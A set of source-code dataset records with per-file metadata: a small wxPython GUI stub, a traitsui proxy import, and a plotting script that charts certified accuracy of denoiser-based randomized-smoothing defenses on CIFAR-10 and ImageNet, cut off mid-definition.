hunterpaulson/lgtm-fprime

9eeda383c263ecba8da8188a45e1d020107ff323

[ "Apache-2.0" ]

null

import wx import GDSStatusPanelGUI ########################################################################### ## Class StatusImpl ########################################################################### class StatusImpl(GDSStatusPanelGUI.Status): def __init__(self, parent): GDSStatusPanelGUI.Status.__init__(self, parent) def __del__(self): pass

25.266667

75

0.432718

23

379

6.608696

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0.197368

0.184211

0

0.124011

379

14

76

27.071429

0.457831

0.042216

0

1

0.285714

false

0.142857

0.285714

0

0.714286

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

b960ad4750e4340522df6751a76001a9bb7945fb

44

py

Python

enthought/traits/ui/theme.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

3

2016-12-09T06:05:18.000Z

2018-03-01T13:00:29.000Z

enthought/traits/ui/theme.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

1

2020-12-02T00:51:32.000Z

2020-12-02T08:48:55.000Z

enthought/traits/ui/theme.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

null

# proxy module from traitsui.theme import *

14.666667

28

0.772727

6

44

5.666667

1

0

0.159091

44

2

29

22

0.918919

0.272727

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true

0

1

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1

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null

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0

null

0

1

0

1

0

1

0

6

b9988fa2014c98f763946b6fcdbe1fdd56978ea6

59,055

py

Python

analyze.py

damon-demon/Black-Box-Defense

d810a694862e83b899ef6207713b2a8071c79c04

[ "MIT" ]

2

2022-02-26T22:14:01.000Z

2022-03-04T20:46:27.000Z

analyze.py

OTML-Group/Black-Box-Defense

b4e1b9e6e1703a8d1ba7535d531647abb9705fe9

[ "MIT" ]

null

analyze.py

OTML-Group/Black-Box-Defense

b4e1b9e6e1703a8d1ba7535d531647abb9705fe9

[ "MIT" ]

1

2022-03-15T00:10:33.000Z

# Copyright (c) Microsoft Corporation. # Licensed under the MIT License. from easydict import EasyDict as edict from typing import * import math import matplotlib matplotlib.use("TkAgg") import matplotlib.pyplot as plt import numpy as np import os import pandas as pd import seaborn as sns sns.set() class Accuracy(object): def at_radii(self, radii: np.ndarray): raise NotImplementedError() class ApproximateAccuracy(Accuracy): def __init__(self, data_file_path: str): self.data_file_path = data_file_path def at_radii(self, radii: np.ndarray) -> np.ndarray: df = pd.read_csv(self.data_file_path, delimiter="\t") return np.array([self.at_radius(df, radius) for radius in radii]) def at_radius(self, df: pd.DataFrame, radius: float): return (df["correct"] & (df["radius"] >= radius)).mean() def get_abstention_rate(self) -> np.ndarray: df = pd.read_csv(self.data_file_path, delimiter="\t") return 1.*(df["predict"]==-1).sum()/len(df["predict"])*100 class ApproximateAccuracy_API(Accuracy): def __init__(self, data_file_path: str): self.data_file_path = data_file_path def at_radii(self, radii: np.ndarray) -> np.ndarray: df = pd.read_csv(self.data_file_path, header=None, delimiter="\t") return np.array([self.at_radius(df, radius) for radius in radii]) def at_radius(self, df: pd.DataFrame, radius: float): return (df[df.columns[1]] & (df[df.columns[2]] >= radius)).mean() def get_abstention_rate(self) -> np.ndarray: df = pd.read_csv(self.data_file_path, delimiter="\t") return 1.*(df[df.columns[-1]]==-1).sum()/len(df[df.columns[-1]])*100 class Line(object): def __init__(self, quantity: Accuracy, legend: str = None, plot_fmt: str = "", scale_x: float = 1, alpha: float = 1): self.quantity = quantity self.legend = legend self.plot_fmt = plot_fmt self.scale_x = scale_x self.alpha = alpha def plot_certified_accuracy_per_sigma_against_baseline(outfile: str, title: str, max_radius: float, methods: List[Line]=None, label='Ours', methods_base: List[Line]=None, label_base='Baseline', radius_step: float = 0.01, upper_bounds=False) -> None: color = ['b', 'orange', 'g', 'r'] sigmas = [0.12, 0.25, 0.5, 1.00] if "api" in outfile: sigmas = [0.12, 0.25] for it, sigma in enumerate(sigmas): methods_sigma = [method for method in methods if '{:.2f}'.format(sigma) in method.quantity.data_file_path] accuracies_cert_ours, radii = _get_accuracies_at_radii(methods_sigma, 0, max_radius, radius_step) plt.plot(radii, accuracies_cert_ours.max(0), color[it], label='{}|$\sigma = {:.2f}$'.format(label, sigma)) for it, line in enumerate(methods_base): plt.plot(radii * line.scale_x, line.quantity.at_radii(radii), color[it], dashes=[2, 2], alpha=line.alpha, label='{}|'.format(label_base)+line.legend) plt.ylim((0, 1)) plt.xlim((0, max_radius)) plt.tick_params(labelsize=14) plt.xlabel("$\ell_2$ radius", fontsize=16) plt.ylabel("Certified Accuracy", fontsize=16) if "api" not in outfile: plt.gca().xaxis.set_major_locator(plt.MultipleLocator(0.5)) plt.legend(loc='upper right', fontsize=16) plt.tight_layout() plt.savefig(outfile + ".pdf") plt.title(title, fontsize=20) plt.tight_layout() plt.savefig(outfile + ".png", dpi=300) plt.close() def plot_certified_accuracy_per_sigma_against_baseline_finetune(outfile: str, title: str, max_radius: float, methods: List[Line]=None, label='Ours', methods_finetune=None, label_finetune="Finetune", methods_base: List[Line]=None, label_base='Baseline', radius_step: float = 0.01, upper_bounds=False) -> None: color = ['b', 'orange', 'g', 'r'] sigmas = [0.12, 0.25, 0.5, 1.00] if "api" in outfile: sigmas = [0.25] for it, sigma in enumerate(sigmas): methods_eps = [method for method in methods_finetune if '{:.2f}'.format(sigma) in method.quantity.data_file_path] accuracies_cert_ours, radii = _get_accuracies_at_radii(methods_eps, 0, max_radius, radius_step) plt.plot(radii, accuracies_cert_ours.max(0), color[3], label='{}|$\sigma = {:.2f}$'.format(label_finetune, sigma)) for it, sigma in enumerate(sigmas): methods_eps = [method for method in methods if '{:.2f}'.format(sigma) in method.quantity.data_file_path] accuracies_cert_ours, radii = _get_accuracies_at_radii(methods_eps, 0, max_radius, radius_step) plt.plot(radii, accuracies_cert_ours.max(0), color[0], label='{}|$\sigma = {:.2f}$'.format(label, sigma)) for it, line in enumerate(methods_base): if "0.25" not in line.quantity.data_file_path: continue plt.plot(radii * line.scale_x, line.quantity.at_radii(radii), color[1], alpha=line.alpha, label='{}|'.format(label_base)+line.legend) plt.ylim((0, 1)) plt.xlim((0, max_radius)) plt.tick_params(labelsize=14) plt.xlabel("$\ell_2$ radius", fontsize=16) plt.ylabel("Certified Accuracy", fontsize=16) if "api" not in outfile: plt.gca().xaxis.set_major_locator(plt.MultipleLocator(0.5)) plt.legend(loc='upper right', fontsize=16) plt.tight_layout() plt.savefig(outfile + ".pdf") plt.title(title, fontsize=20) plt.tight_layout() plt.savefig(outfile + ".png", dpi=300) plt.close() def plot_certified_accuracy_per_sigma_best_model(outfile: str, title: str, max_radius: float, methods: List[Line]=None, label='Ours', methods_base: List[Line]=None, label_base='Baseline', radius_step: float = 0.01, upper_bounds=False, sigmas=[0.25]) -> None: color = ['b', 'orange', 'g', 'r'] for it, sigma in enumerate(sigmas): methods_sigma = [method for method in methods if '{:.2f}'.format(sigma) in method.quantity.data_file_path] accuracies_cert_ours, radii = _get_accuracies_at_radii(methods_sigma, 0, max_radius, radius_step) accuracies_cert_ours = np.nan_to_num(accuracies_cert_ours, -1) plt.plot(radii, accuracies_cert_ours[accuracies_cert_ours[:,0].argmax(), :], color[it], label='{}|$\sigma = {:.2f}$'.format(label, sigma)) for it, sigma in enumerate(sigmas): methods_sigma_base = [method for method in methods_base if '{:.2f}'.format(sigma) in method.quantity.data_file_path] accuracies_cert_ours, radii = _get_accuracies_at_radii(methods_sigma_base, 0, max_radius, radius_step) accuracies_cert_ours = np.nan_to_num(accuracies_cert_ours, -1) plt.plot(radii, accuracies_cert_ours[accuracies_cert_ours[:,0].argmax(), :], color[it], dashes=[2, 2], label='{}|$\sigma = {:.2f}$'.format(label_base, sigma)) plt.ylim((0, 1)) plt.xlim((0, max_radius)) plt.tick_params(labelsize=14) plt.xlabel("$\ell_2$ radius", fontsize=16) plt.ylabel("Certified Accuracy", fontsize=16) plt.gca().xaxis.set_major_locator(plt.MultipleLocator(0.5)) plt.legend(loc='upper right', fontsize=16) plt.tight_layout() plt.savefig(outfile + ".pdf") plt.title(title, fontsize=20) plt.tight_layout() plt.savefig(outfile + ".png", dpi=300) plt.close() def plot_certified_accuracy_one_sigma_best_model_multiple_methods(outfile: str, title: str, max_radius: float, methods_labels_colors_dashes: List, radius_step: float = 0.01, upper_bounds=False, sigma=0.25) -> None: for it, (methods, label, color, dashes) in enumerate(methods_labels_colors_dashes): methods_sigma = [method for method in methods if '{:.2f}'.format(sigma) in method.quantity.data_file_path] accuracies_cert_ours, radii = _get_accuracies_at_radii(methods_sigma, 0, max_radius, radius_step) accuracies_cert_ours = np.nan_to_num(accuracies_cert_ours, -1) plt.plot(radii, accuracies_cert_ours[accuracies_cert_ours[:,0].argmax(), :], color, dashes=dashes, linewidth=2, label=label) plt.ylim((0, 1)) plt.xlim((0, max_radius)) plt.tick_params(labelsize=14) plt.xlabel("$\ell_2$ radius", fontsize=16) plt.ylabel("Certified Accuracy", fontsize=16) plt.gca().xaxis.set_major_locator(plt.MultipleLocator(0.5)) plt.legend(loc='upper right', fontsize=16) plt.tight_layout() plt.savefig(outfile + ".pdf") plt.title(title, fontsize=20) plt.tight_layout() plt.savefig(outfile + ".png", dpi=300) plt.close() def latex_table_certified_accuracy_upper_envelope(outfile: str, radius_start: float, radius_stop: float, radius_step: float, methods: List[Line]=None, clean_accuracy=True): accuracies, radii = _get_accuracies_at_radii(methods, radius_start, radius_stop, radius_step) clean_accuracies, _ = _get_accuracies_at_radii(methods, 0, 0, 0.25) assert clean_accuracies.shape[1] == 1 f = open(outfile, 'w') f.write("$\ell_2$ Radius") for radius in radii: f.write("& ${:.3}$".format(radius)) f.write("\\\\\n") f.write("\midrule\n") clean_accuracies = np.nan_to_num(clean_accuracies, -1) accuracies = np.nan_to_num(accuracies, -1) for j, radius in enumerate(radii): argmaxs = np.argwhere(accuracies[:,j] == accuracies[:, j].max()) argmaxs = argmaxs.flatten() i = argmaxs[clean_accuracies[argmaxs, 0].argmax()] # i = i.flatten()[0] if clean_accuracy: txt = " & $^{("+"{:.2f})".format(clean_accuracies[i, 0]) + "}" + "${:.2f}".format(accuracies[i, j]) else: txt = " & {:.2f}".format(accuracies[i, j]) f.write(txt) f.write("\\\\\n") f.close() def _get_accuracies_at_radii(methods: List[Line], radius_start: float, radius_stop: float, radius_step: float): radii = np.arange(radius_start, radius_stop + radius_step, radius_step) accuracies = np.zeros((len(methods), len(radii))) for i, method in enumerate(methods): accuracies[i, :] = method.quantity.at_radii(radii) return accuracies, radii if __name__ == "__main__": if not os.path.isdir("analysis/plots/cifar10/full_access"): os.makedirs("analysis/plots/cifar10/full_access") if not os.path.isdir("analysis/plots/cifar10/query_access"): os.makedirs("analysis/plots/cifar10/query_access") if not os.path.isdir("analysis/plots/imagenet/full_access"): os.makedirs("analysis/plots/imagenet/full_access") if not os.path.isdir("analysis/plots/imagenet/query_access"): os.makedirs("analysis/plots/imagenet/query_access") if not os.path.isdir("analysis/plots/vision_api/azure/"): os.makedirs("analysis/plots/vision_api/azure/") if not os.path.isdir("analysis/plots/vision_api/google/"): os.makedirs("analysis/plots/vision_api/google/") if not os.path.isdir("analysis/plots/vision_api/aws/"): os.makedirs("analysis/plots/vision_api/aws/") if not os.path.isdir("analysis/plots/vision_api/clarifai/"): os.makedirs("analysis/plots/vision_api/clarifai/") if not os.path.isdir("analysis/latex/"): os.makedirs("analysis/latex/") ################### PLOTS # Paper plots all_cifar_cohen_N10000=[ Line(ApproximateAccuracy("data/certify/cifar10/no_denoiser/MODEL_resnet110_90epochs/noise_{0:.2f}/test_N10000/sigma_{0:.2f}".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] ] cifar_no_denoiser_N10000 = [ Line(ApproximateAccuracy("data/certify/cifar10/no_denoiser/MODEL_resnet110_90epochs/noise_0.00/test_N10000/sigma_{0:.2f}".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] ] cifar_denoiser_cifar10_dncnn_epochs_90_N10000 = [ Line(ApproximateAccuracy("data/certify/cifar10/mse_obj/MODEL_resnet110_90epochs_DENOISER_cifar10_dncnn_epochs_90/noise_{0:.2f}/test_N10000/sigma_{0:.2f}".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] ] cifar_denoiser_cifar10_dncnn_wide_epochs_90_N10000 = [ Line(ApproximateAccuracy("data/certify/cifar10/mse_obj/MODEL_resnet110_90epochs_DENOISER_cifar10_dncnn_wide_epochs_90/noise_{0:.2f}/test_N10000/sigma_{0:.2f}".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] ] cifar_denoiser_cifar10_memnet_epochs_90_N10000 = [ Line(ApproximateAccuracy("data/certify/cifar10/mse_obj/MODEL_resnet110_90epochs_DENOISER_cifar10_memnet_epochs_90/noise_{0:.2f}/test_N10000/sigma_{0:.2f}".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] ] all_cifar_denoising_obj_denoisers = cifar_denoiser_cifar10_dncnn_epochs_90_N10000 + \ cifar_denoiser_cifar10_dncnn_wide_epochs_90_N10000 + \ cifar_denoiser_cifar10_memnet_epochs_90_N10000 ### Full-Access Cifar10 denoiser_networks = ['dncnn', 'dncnn_wide', 'memnet'] all_exp_resnet110_fullAccess_cifar10_classification = [ Line(ApproximateAccuracy("data/certify/cifar10/clf_obj/{0}_resnet110_90epochs_{1}/noise_{2:.2f}/test_N10000/sigma_{2:.2f}".format(exp, denoiser, noise)), "$\sigma = {:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.50, 1.00] for exp in [ # each of these correspond to a hyperparamter setting (see the appendix in the paper for details) 'MODEL_resnet110_90epochs_DENOISER_cifar10_classification_obj_adamThenSgd_1', 'MODEL_resnet110_90epochs_DENOISER_cifar10_classification_obj_adamThenSgd_2', 'MODEL_resnet110_90epochs_DENOISER_cifar10_classification_obj_adamThenSgd_3', 'MODEL_resnet110_90epochs_DENOISER_cifar10_classification_obj_adamThenSgd_4', 'MODEL_resnet110_90epochs_DENOISER_cifar10_classification_obj_adamThenSgd_5', ] for denoiser in denoiser_networks ] all_exp_resnet110_fullAccess_cifar10_stability = [ Line(ApproximateAccuracy("data/certify/cifar10/stab_obj/{0}_resnet110_90epochs_{1}/noise_{2:.2f}/test_N10000/sigma_{2:.2f}".format(exp, denoiser, noise)), "$\sigma = {:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.50, 1.00] for exp in [ # each of these correspond to a hyperparamter setting (see the appendix in the paper for details) 'MODEL_resnet110_90epochs_DENOISER_cifar10_smoothness_obj_adamThenSgd_1', 'MODEL_resnet110_90epochs_DENOISER_cifar10_smoothness_obj_adamThenSgd_2', 'MODEL_resnet110_90epochs_DENOISER_cifar10_smoothness_obj_adamThenSgd_3', 'MODEL_resnet110_90epochs_DENOISER_cifar10_smoothness_obj_adamThenSgd_4', 'MODEL_resnet110_90epochs_DENOISER_cifar10_smoothness_obj_adamThenSgd_5', ] for denoiser in denoiser_networks ] all_exp_resnet110_fullAccess_cifar10_stability_finetune = [ Line(ApproximateAccuracy("data/certify/cifar10/stab+mse_obj/{0}_{1}/noise_{2:.2f}/test_N10000/sigma_{2:.2f}".format(exp, denoiser, noise)), "$\sigma = {:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.50, 1.00] for exp in [ 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_adam_1e-4_20epochs_renset110_90epochs', 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_adam_1e-5_20epochs_renset110_90epochs', 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_sgd_1e-4_20epochs_renset110_90epochs', 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_sgd_1e-5_20epochs_renset110_90epochs', ] for denoiser in denoiser_networks ] # Plot best models plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/full_access/resnet110_90epochs_all_methods_sigma_12", 'Query-access Cifar10-ResNet110', 1.0, methods_labels_colors_dashes=[ (all_cifar_cohen_N10000, 'White-box', 'b', [1, 0]), (all_exp_resnet110_fullAccess_cifar10_stability, 'Stab', 'g', [6, 2]), (all_exp_resnet110_fullAccess_cifar10_stability_finetune, 'Stab+MSE', 'orange', [4, 2]), (all_cifar_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (cifar_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=0.12) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/full_access/resnet110_90epochs_all_methods_sigma_25", 'Query-access Cifar10-ResNet110', 1.0, methods_labels_colors_dashes=[ (all_cifar_cohen_N10000, 'White-box', 'b', [1, 0]), (all_exp_resnet110_fullAccess_cifar10_stability, 'Stab', 'g', [6, 2]), (all_exp_resnet110_fullAccess_cifar10_stability_finetune, 'Stab+MSE', 'orange', [4, 2]), (all_cifar_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (cifar_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=0.25) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/full_access/resnet110_90epochs_all_methods_sigma_50", 'Query-access Cifar10-ResNet110', 1.0, methods_labels_colors_dashes=[ (all_cifar_cohen_N10000, 'White-box', 'b', [1, 0]), (all_exp_resnet110_fullAccess_cifar10_stability, 'Stab', 'g', [6, 2]), (all_exp_resnet110_fullAccess_cifar10_stability_finetune, 'Stab+MSE', 'orange', [4, 2]), (all_cifar_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (cifar_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=0.50) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/full_access/resnet110_90epochs_all_methods_sigma_100", 'Query-access Cifar10-ResNet110', 1.0, methods_labels_colors_dashes=[ (all_cifar_cohen_N10000, 'White-box', 'b', [1, 0]), (all_exp_resnet110_fullAccess_cifar10_stability, 'Stab', 'g', [6, 2]), (all_exp_resnet110_fullAccess_cifar10_stability_finetune, 'Stab+MSE', 'orange', [4, 2]), (all_cifar_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (cifar_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=1.00) plot_certified_accuracy_per_sigma_best_model( "analysis/plots/cifar10/full_access/resnet110_90epochs_stab_vs_clf", 'Stability vs. Classification', 2.25, methods=all_exp_resnet110_fullAccess_cifar10_stability, label='Stab', methods_base=all_exp_resnet110_fullAccess_cifar10_classification, label_base='Clf', sigmas=[0.12, 0.25, 0.5, 1.0]) ####################################################################################### ### Query-Access Cifar10 denoiser_networks = ['dncnn', 'dncnn_wide', 'memnet'] all_exp_resnet110_queryAccess_cifar10_classification = [ Line(ApproximateAccuracy("data/certify/cifar10/clf_obj/{0}_multi_classifiers_{1}/noise_{2:.2f}/test_N10000/sigma_{2:.2f}".format(exp, denoiser, noise)), "$\sigma = {:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.50, 1.00] for exp in [ # each of these correspond to a hyperparamter setting (see the appendix in the paper for details) 'MODEL_resnet110_90epochs_DENOISER_cifar10_classification_obj_adamThenSgd_1', 'MODEL_resnet110_90epochs_DENOISER_cifar10_classification_obj_adamThenSgd_2', 'MODEL_resnet110_90epochs_DENOISER_cifar10_classification_obj_adamThenSgd_3', 'MODEL_resnet110_90epochs_DENOISER_cifar10_classification_obj_adamThenSgd_4', 'MODEL_resnet110_90epochs_DENOISER_cifar10_classification_obj_adamThenSgd_5', 'MODEL_resnet110_90epochs_DENOISER_cifar10_classification_obj_adamThenSgd_6', ] for denoiser in denoiser_networks ] all_exp_resnet110_queryAccess_cifar10_stability = [ Line(ApproximateAccuracy("data/certify/cifar10/stab_obj/{0}_multi_classifiers_{1}/noise_{2:.2f}/test_N10000/sigma_{2:.2f}".format(exp, denoiser, noise)), "$\sigma = {:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.50, 1.00] for exp in [ # each of these correspond to a hyperparamter setting (see the appendix in the paper for details) 'MODEL_resnet110_90epochs_DENOISER_cifar10_smoothness_obj_adamThenSgd_1', 'MODEL_resnet110_90epochs_DENOISER_cifar10_smoothness_obj_adamThenSgd_2', 'MODEL_resnet110_90epochs_DENOISER_cifar10_smoothness_obj_adamThenSgd_3', 'MODEL_resnet110_90epochs_DENOISER_cifar10_smoothness_obj_adamThenSgd_4', 'MODEL_resnet110_90epochs_DENOISER_cifar10_smoothness_obj_adamThenSgd_5', 'MODEL_resnet110_90epochs_DENOISER_cifar10_smoothness_obj_adamThenSgd_6', ] for denoiser in denoiser_networks ] all_exp_resnet110_queryAccess_cifar10_stability_1surrogate = [ Line(ApproximateAccuracy("data/certify/cifar10/stab_obj/MODEL_ResNet110_DENOISER_surrogate_resnet110/noise_{0:.2f}/test_N10000/sigma_{0:.2f}".format(noise)), "$\sigma = {:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.50, 1.00] ] all_exp_resnet110_queryAccess_cifar10_stability_finetune_1surrogate = [ Line(ApproximateAccuracy("data/certify/cifar10/stab+mse_obj/{0}_{1}/noise_{2:.2f}/test_N10000/sigma_{2:.2f}".format(exp, denoiser, noise)), "$\sigma = {:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.50, 1.00] for exp in [ 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_adam_1e-4_20epochs_WRN', 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_adam_1e-5_20epochs_WRN', 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_sgd_1e-4_20epochs_WRN', 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_sgd_1e-5_20epochs_WRN', ] for denoiser in denoiser_networks ] all_exp_resnet110_queryAccess_cifar10_stability_finetune_14surrogate = [ Line(ApproximateAccuracy("data/certify/cifar10/stab+mse_obj/{0}_{1}/noise_{2:.2f}/test_N10000/sigma_{2:.2f}".format(exp, denoiser, noise)), "$\sigma = {:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.50, 1.00] for exp in [ 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_adam_1e-4_20epochs_multi_classifiers', 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_adam_1e-5_20epochs_multi_classifiers', 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_sgd_1e-4_20epochs_multi_classifiers', 'MODEL_resnet110_90epochs_DENOISER_cifar10_finetune_smoothness_obj_sgd_1e-5_20epochs_multi_classifiers', ] for denoiser in denoiser_networks ] # Plot best models plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/query_access/resnet110_90epochs_all_methods_sigma_12", 'blackbox_cifar_best_models', 1.0, methods_labels_colors_dashes=[ (all_cifar_cohen_N10000, 'White-box', 'b', [1, 0]), (all_exp_resnet110_queryAccess_cifar10_stability, 'Stab 14-Surrogates', 'g', [6, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_14surrogate, 'Stab+MSE 14-Surrogates', 'orange', [4, 2]), (all_cifar_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (cifar_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=0.12) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/query_access/resnet110_90epochs_all_methods_sigma_25", 'blackbox_cifar_best_models', 1.0, methods_labels_colors_dashes=[ (all_cifar_cohen_N10000, 'White-box', 'b', [1, 0]), (all_exp_resnet110_queryAccess_cifar10_stability, 'Stab 14-Surrogates', 'g', [6, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_14surrogate, 'Stab+MSE 14-Surrogates', 'orange', [4, 2]), (all_cifar_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (cifar_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=0.25) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/query_access/resnet110_90epochs_all_methods_sigma_50", 'blackbox_cifar_best_models', 1.0, methods_labels_colors_dashes=[ (all_cifar_cohen_N10000, 'White-box', 'b', [1, 0]), (all_exp_resnet110_queryAccess_cifar10_stability, 'Stab 14-Surrogates', 'g', [6, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_14surrogate, 'Stab+MSE 14-Surrogates', 'orange', [4, 2]), (all_cifar_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (cifar_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=0.50) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/query_access/resnet110_90epochs_all_methods_sigma_100", 'blackbox_cifar_best_models', 1.0, methods_labels_colors_dashes=[ (all_cifar_cohen_N10000, 'White-box', 'b', [1, 0]), (all_exp_resnet110_queryAccess_cifar10_stability, 'Stab 14-Surrogates', 'g', [6, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_14surrogate, 'Stab+MSE 14-Surrogates', 'orange', [4, 2]), (all_cifar_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (cifar_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=1.00) plot_certified_accuracy_per_sigma_best_model( "analysis/plots/cifar10/query_access/resnet110_90epochs_stab_vs_clf", 'finetune_cifar_best_models', 2.25, methods=all_exp_resnet110_queryAccess_cifar10_stability, label='Stab', methods_base=all_exp_resnet110_queryAccess_cifar10_classification, label_base='Clf', sigmas=[0.12, 0.25, 0.5, 1.0]) ## 1 Surrogate plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/query_access/resnet110_90epochs_all_methods_sigma_12_1surrogate_vs_14", 'blackbox_cifar_best_models', 1.0, methods_labels_colors_dashes=[ (all_exp_resnet110_queryAccess_cifar10_stability, 'Stab 14-Surrogates', 'g', [6, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_1surrogate, 'Stab 1-Surrogate', 'b', [2, 4]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_14surrogate, 'Stab+MSE 14-Surrogates', 'orange', [4, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_1surrogate, 'Stab+MSE 1-Surrogate', 'k', [5, 1]), ], sigma=0.12) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/query_access/resnet110_90epochs_all_methods_sigma_25_1surrogate_vs_14", 'blackbox_cifar_best_models', 1.0, methods_labels_colors_dashes=[ (all_exp_resnet110_queryAccess_cifar10_stability, 'Stab 14-Surrogates', 'g', [6, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_1surrogate, 'Stab 1-Surrogate', 'b', [2, 4]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_14surrogate, 'Stab+MSE 14-Surrogates', 'orange', [4, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_1surrogate, 'Stab+MSE 1-Surrogate', 'k', [5, 1]), ], sigma=0.25) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/query_access/resnet110_90epochs_all_methods_sigma_50_1surrogate_vs_14", 'blackbox_cifar_best_models', 1.0, methods_labels_colors_dashes=[ (all_exp_resnet110_queryAccess_cifar10_stability, 'Stab 14-Surrogates', 'g', [6, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_1surrogate, 'Stab 1-Surrogate', 'b', [2, 4]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_14surrogate, 'Stab+MSE 14-Surrogates', 'orange', [4, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_1surrogate, 'Stab+MSE 1-Surrogate', 'k', [5, 1]), ], sigma=0.50) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/cifar10/query_access/resnet110_90epochs_all_methods_sigma_100_1surrogate_vs_14", 'blackbox_cifar_best_models', 1.0, methods_labels_colors_dashes=[ (all_exp_resnet110_queryAccess_cifar10_stability, 'Stab 14-Surrogates', 'g', [6, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_1surrogate, 'Stab 1-Surrogate', 'b', [2, 4]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_14surrogate, 'Stab+MSE 14-Surrogates', 'orange', [4, 2]), (all_exp_resnet110_queryAccess_cifar10_stability_finetune_1surrogate, 'Stab+MSE 1-Surrogate', 'k', [5, 1]), ], sigma=1.00) ############################################################################################################## ############################################################################################################## ############################################################################################################## ############################################################################################################## ################################################################################################################# #Imagenet results imagenet_archs = ['resnet18', 'resnet34', 'resnet50'] imagenet_results = edict() for arch in imagenet_archs: imagenet_results[arch] = edict() imagenet_results[arch].imagenet_no_denoiser_N10000 = [ Line(ApproximateAccuracy("data/certify/imagenet/MODEL_{0}/noise_0.00/test_N10000/sigma_{1:.2f}".format(arch, noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] ] imagenet_results[arch].imagenet_denoiser_dncnn_off_the_shelf_N10000 = [ Line(ApproximateAccuracy("data/certify/imagenet/MODEL_{0}_DENOISER_dncnn-off-the-shelf/noise_{1:.2f}/test_N10000/sigma_{1:.2f}".format(arch, noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] ] imagenet_results[arch].imagenet_denoiser_imagenet_dncnn_5epoch_lr1e_4_N10000 = [ 